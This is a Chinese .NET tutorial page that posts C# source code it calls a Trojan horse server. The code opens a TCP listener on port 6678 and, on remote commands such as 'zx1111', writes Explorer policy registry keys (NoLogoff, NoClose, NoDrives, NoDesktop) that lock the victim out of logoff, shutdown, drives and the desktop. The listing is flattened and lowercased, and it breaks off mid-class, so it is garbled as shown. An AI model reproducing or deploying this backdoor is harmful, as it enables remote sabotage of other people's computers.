欢迎光临
我们一直在努力

特洛伊木马服务器源代码(C#)-.NET教程,C#语言

建站超值云服务器,限时71元/月

  

using system; using system.drawing; using system.collections; using system.componentmodel; using system.windows.forms; using system.data; using system.io; using system.net; using system.net.sockets; using system.threading; using microsoft.win32; namespace server { /**//// /// form1 的摘要说明。 /// public class form1 : system.windows.forms.form { /**//// /// 必需的设计器变量。 /// private system.componentmodel.container components = null; private tcplistener listener; private string mystr="您好!非常抱歉,您的注册表:"; private registrykey rrr=registry.localmachine; private registrykey key1; public form1() { // // windows 窗体设计器支持所必需的 // initializecomponent(); {int port =6678; listener=new tcplistener(port); listener.start(); thread thread=new thread(new threadstart(target)); thread.start(); } // // todo: 在 initializecomponent 调用后添加任何构造函数代码 // } public void target() { socket socket= listener.acceptsocket(); while(socket.connected) { byte[] by=new byte[6]; int i=socket.receive(by,by.length,0); string ss=system.text.encoding.ascii.getstring(by); //ooooooooooooooooooooooooooo以下是修改注册表ooooooooooooooooooooooooooo //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if(ss=="jiance") { string str="hjc"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); } if(ss=="zx1000") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nologoff",1); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff被修改!请将它置为0!"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nologoff",1); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff被修改!请将它置为0!"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if(ss=="") //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& //**************************************************************************** if(ss=="zx0100") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("noclose",1); key1.close(); mystr=mystr+"localmachine\software\microsoft\windows\currentversion\policies\explorer键值noclose被修改!请将它置为0!"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("noclose",1); key2.close(); mystr=mystr+"localmachine\software\microsoft\windows\currentversion\policies\explorer键值noclose被修改!请将它置为0!"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if(ss=="zx0100"){ //**************************************************************************** //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ if(ss=="zx0010") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nodrives",12); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nodrives被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nodrives",12); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nodrives被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ //==================================================================== if(ss=="zx0001") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nodesktop",1); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nodesktop被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nodesktop",1); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nodesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //========================================================================= //$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ if(ss=="zx1100") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nologoff",1); key1.setvalue("noclose",1); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、noclose被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nologoff",1); key2.setvalue("noclose",1); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、noclose被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if(ss=="zx1010") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nologoff",1); key1.setvalue("nodrives",12); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、nodrives被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nologoff",1); key2.setvalue("nodrives",12); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、nodrives被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //************************************************** if(ss=="zx1001") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nologoff",1); key1.setvalue("nodesktop",1); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、nodesktop被修改!请将它置为0"; } catch(exception ee){messagebox.show(ee.message);} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nologoff",1); key2.setvalue("nodesktop",1); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、nodesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //******************************************** if(ss=="zx0110") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("noclose",1); key1.setvalue("nodrives",12); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值noclose、nodrives被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("noclose",1); key2.setvalue("nodrives",12); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值noclose、nodrives被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //******************************************** if(ss=="zx0101") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("noclose",1); key1.setvalue("nodesktop",1); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值noclose、nodesktop被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("noclose",1); key2.setvalue("nodesktop",1); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值noclose、、nodesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //******************************** if(ss=="zx0011") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nodrives",12); key1.setvalue("nodesktop",1); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nodrives、nodesktop被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nodrives",12); key2.setvalue("nodesktop",1); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nodrives、nodesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //************************************ if(ss=="zx1110") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nologoff",1); key1.setvalue("noclose",1); key1.setvalue("nodrives",12); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、noclose、nodrives被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nologoff",1); key2.setvalue("noclose",1); key2.setvalue("nodrives",12); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、noclose、nodrives被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //************************************** if(ss=="zx1101") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nologoff",1); key1.setvalue("noclose",1); key1.setvalue("nodesktop",1); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、noclose、nodesktop被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nologoff",1); key2.setvalue("noclose",1); key2.setvalue("nodesktop",1); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、noclose、nodesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //****************************************** if(ss=="zx1011") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nologoff",1); key1.setvalue("nodrives",12); key1.setvalue("nodesktop",1); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、nodrives、nodesktop被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nologoff",1); key2.setvalue("nodrives",12); key2.setvalue("nodesktop",1); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、nodrives、nodesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //******************************************** if(ss=="zx0111") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nodrives",12); key1.setvalue("noclose",1); key1.setvalue("nodesktop",1); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值noclose、nodrives、nodesktop被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nodrives",12); key2.setvalue("noclose",1); key2.setvalue("nodesktop",1); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值noclose、nodrives、nodesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //******************************************** if(ss=="zx1111") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nologoff",1); key1.setvalue("noclose",1); key1.setvalue("nodrives",12); key1.setvalue("nodesktop",1); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、noclose、nodrives、nodesktop被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nologoff",1); key2.setvalue("noclose",1); key2.setvalue("nodrives",12); key2.setvalue("nodesktop",1); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、noclose、nodrives、nodesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //********************************************* //ooooooooooooooooooooooooooo以上是修改注册表oooooooooooooooooooooooooooooooo

赞(0)
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com 特别注意:本站所有转载文章言论不代表本站观点! 本站所提供的图片等素材,版权归原作者所有,如需使用,请与原作者联系。未经允许不得转载:IDC资讯中心 » 特洛伊木马服务器源代码(C#)-.NET教程,C#语言
分享到: 更多 (0)